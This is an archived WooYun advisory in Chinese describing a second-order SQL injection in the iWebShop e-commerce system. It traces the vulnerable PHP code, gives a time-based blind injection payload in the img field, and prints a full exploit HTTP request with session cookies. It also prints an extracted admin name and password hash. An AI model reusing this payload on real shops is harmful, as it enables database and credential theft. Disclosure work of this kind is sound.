当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-093276

漏洞标题:Iwebshop最新版二次注入一枚

相关厂商:Jooyea

漏洞作者: 路人甲

提交时间:2015-01-27 11:22

修复时间:2015-04-27 11:24

公开时间:2015-04-27 11:24

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-27: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-04-27: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

Iwebshop最新版二次注入一枚

详细说明:

看到wooyun上有人提了几个iweshop(2014-11-18更新)的漏洞( WooYun: iWebShop开源电子商务系统SQL注入漏洞 ),去官网看了看,在2014-12-16 已更新到了 iwebshop2.9.14121000,下下来研究研究,希望不要重复。
写入Payload的点:POST /index.php?controller=seller&action=goods_update POST参数中的img
触发注入的点:POST /index.php?controller=seller&action=regiment_edit_act
看看Payload是如何写入的/controllers/seller.php

//商品更新动作
public function goods_update()
{
$id = IFilter::act(IReq::get('id'),'int');
$callback = IFilter::act(IReq::get('callback'),'url');
$callback = strpos($callback,'seller/goods_list') === false ? '' : $callback;
//检查表单提交状态
if(!$_POST)
{
die('请确认表单提交正确');
}
//初始化商品数据
unset($_POST['id']);
unset($_POST['callback']);
$goodsObject = new goods_class($this->seller['seller_id']);
$goodsObject->update($id,$_POST);
$callback ? $this->redirect($callback) : $this->redirect("goods_list");
}


去看看update是如何把Payload写入的

public function update($id,$paramData)
{
$postData = array();
$nowDataTime = ITime::getDateTime();
foreach($paramData as $key => $val)
{
$postData[$key] = $val;
//数据过滤分组
if(strpos($key,'attr_id_') !== false)
{
$goodsAttrData[ltrim($key,'attr_id_')] = IFilter::act($val);
}
else if($key[0] != '_')
{
$goodsUpdateData[$key] = IFilter::act($val,'text');
}
}
无关代码


再去看看IFilter::act
/lib/core/util/filter_class.php

public static function act($str,$type = 'string',$limitLen = false)
{
if(is_array($str))
{
foreach($str as $key => $val)
{
$resultStr[$key] = self::act($val, $type, $limitLen);
}
return $resultStr;
}
else
{
switch($type)
{
case "int":
return intval($str);
break;
case "float":
return floatval($str);
break;
case "text":
return self::text($str,$limitLen);
break;
case "bool":
return (bool)$str;
break;
case "url":
return self::clearUrl($str);
break;
case "filename":
return self::fileName($str);
break;
default:
return self::string($str,$limitLen);
break;
}
}
}


当输入的参数名不包含attr_id_或者不以_开头,则执行IFilter::act($val,'text');对用户的输入进行了addslashes处理,然后就写入了数据库,我们都知道\’在入库时,\是会被去掉的,所以,单引号被写入了数据库。如下图

写入payload副本.jpg


关键问题是被写入的单引号在哪个地方被读出然后再入库,在这个地方找到了/controllers/seller.php

//[团购]添加修改[动作]
function regiment_edit_act()
{
$id = IFilter::act(IReq::get('id'),'int');
$goodsId = IFilter::act(IReq::get('goods_id'),'int');
$dataArray = array(
'id' => $id,
'title' => IFilter::act(IReq::get('title','post')),
'start_time' => IFilter::act(IReq::get('start_time','post')),
'end_time' => IFilter::act(IReq::get('end_time','post')),
'is_close' => 1,
'intro' => IFilter::act(IReq::get('intro','post')),
'goods_id' => $goodsId,
'store_nums' => IFilter::act(IReq::get('store_nums','post')),
'least_count' => IFilter::act(IReq::get('least_count','post')),
'regiment_price'=> IFilter::act(IReq::get('regiment_price','post')),
);
if($goodsId)
{
$goodsObj = new IModel('goods');
$where = 'id = '.$goodsId.' and seller_id = '.$this->seller['seller_id'];
$goodsRow = $goodsObj->getObj($where); //出库啦
//商品信息不存在
if(!$goodsRow)
{
$this->regimentRow = $dataArray;
$this->redirect('regiment_edit',false);
Util::showMessage('请选择商户自己的商品');
}
//处理上传图片
if(isset($_FILES['img']['name']) && $_FILES['img']['name'] != '')
{
$uploadObj = new PhotoUpload();
$photoInfo = $uploadObj->run();
$dataArray['img'] = $photoInfo['img']['img'];
}
else
{
$dataArray['img'] = $goodsRow['img']; //把img写入了$dataArray['img'],而$dataArray下面会入库
}
$dataArray['sell_price'] = $goodsRow['sell_price'];
}
else
{
$this->regimentRow = $dataArray;
$this->redirect('regiment_edit',false);
Util::showMessage('请选择要关联的商品');
}
$regimentObj = new IModel('regiment');
$regimentObj->setData($dataArray);
if($id)
{
$where = 'id = '.$id;
$regimentObj->update($where); //入库啦
}
else
{
$regimentObj->add();
}

$this->redirect('regiment_list');
}


请看上面代码中的注释,说明了出库再入库的整个过程。
测试方法:申请开店后,登录,发布一个商品,因为第一次发布产品其id为1,而每发一个产品id自动加1,在触发漏洞时的参数goods_id即为这里的id,每次加1即可(写脚本跑也方便了),漏洞会在添加修改团购时触发。
写入Payload时的payload:POST提交

id=&img=' or(select if(ord(mid((select admin_name from iwebshop_admin limit 0,1),1,1))=97,sleep(1),0))or'&_imgList=&callback=%2Fseller%2Findex&name=a&search_words=a&sort=99&unit=a&_goods_no%5B0%5D=SD142184781210&_store_nums%5B0%5D=100&_market_price%5B0%5D=123&_sell_price%5B0%5D=234&_cost_price%5B0%5D=345&_weight%5B0%5D=123&model_id=0&brand_id=0&is_del=3&content=&keywords=&description=


触发漏洞时的部分payload:post提交

POST /index.php?controller=seller&action=regiment_edit_act HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107/index.php?controller=seller&action=regiment_edit&id=1
Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; ypsdffp2app_admininfo=3ea11oJSSGDzcgLaKJDrFiEPRQYqj%2Blp5mLLe86ouSLzMcMMel8RqXt%2BcZaONpt0jYKtml%2FsZqrOv32i8lriIBjKBlTBDmbz6JsxAIZYnUnYVJQ; iweb_safecode=480691d9d1OTA2OTUwMDQxMzI4YjU0ZWw2NTBiMjNlMD9nZTA1MDc; iweb_seller_id=658d8a2adfMDMxNzIwMDA5MjBiNzU9MzhiYDJsNzA1OTs2YWFkZmMx; iweb_seller_name=658d8a2adfMDMxNzIwMDA5MjEzYWZoZzY8YDU8MTEyMWA1ZjRiMjZwaGdzZnN3; iweb_seller_pwd=480691d9d1OTA2OTUwMDQxMzc1MGQ7Oj9hYzUzOGMyYWg3MmBmZGRjNTA5YWFjMTA4NDM5MjE9ZTQ0YzZhMmk7MDpjMTBhNg; iweb_shoppingcart=daab27438eMDAwODI0MDA3ODcwY2JlMGZkZzE4YjAzZDw1MzA8Mz57JmFpb2NxLjlbXSIleXtsZ3VidCY6W15%2F; iweb_user_id=50efcc9726NjAzMDA5MDUwNDcxYzQ2b2YzNTBpMzBlOTZhZjUyOT8; iweb_username=50efcc9726NjAzMDA5MDUwNDcxYzQ2b2YzNTBpMzBlOTZhZjUyOT8; iweb_head_ico=50efcc9726NjAzMDA5MDUwNDcxYzQ2b2YzNTBpMzBlOTZhZjUyOT8; iweb_user_pwd=cfe17d7df9MDAwODIwMDA1MzI6ZDQ2YGU2NjFiOzBlMDZqbzQyOTY; iweb_visit=fe1f056e18MjAwOTAwMjE4MzZkMGY1MGZlZjg1YTlgZDdqPWQ0MTMlNyM; ipAddress=%E5%9B%9B%E5%B7%9D; iweb_captcha=85205ae681MDQ2MDQ1NTIwNTEwYWU2YWo4ZWc1YjJkYz1hbDI3PDJjYnFjZg
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------288682924126107
Content-Length: 1138
-----------------------------288682924126107
Content-Disposition: form-data; name="id"
1
-----------------------------288682924126107
Content-Disposition: form-data; name="goods_id"
12


因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,延迟2s左右,如下图

猜测失败副本.jpg


若正确,延迟3s左右(和数据库中的记录有关)如下图

猜测成功副本.jpg


按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:admin,密码为: f6fdffe48c908deb0f4c3bd36c032e72

漏洞证明:

见 详细说明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝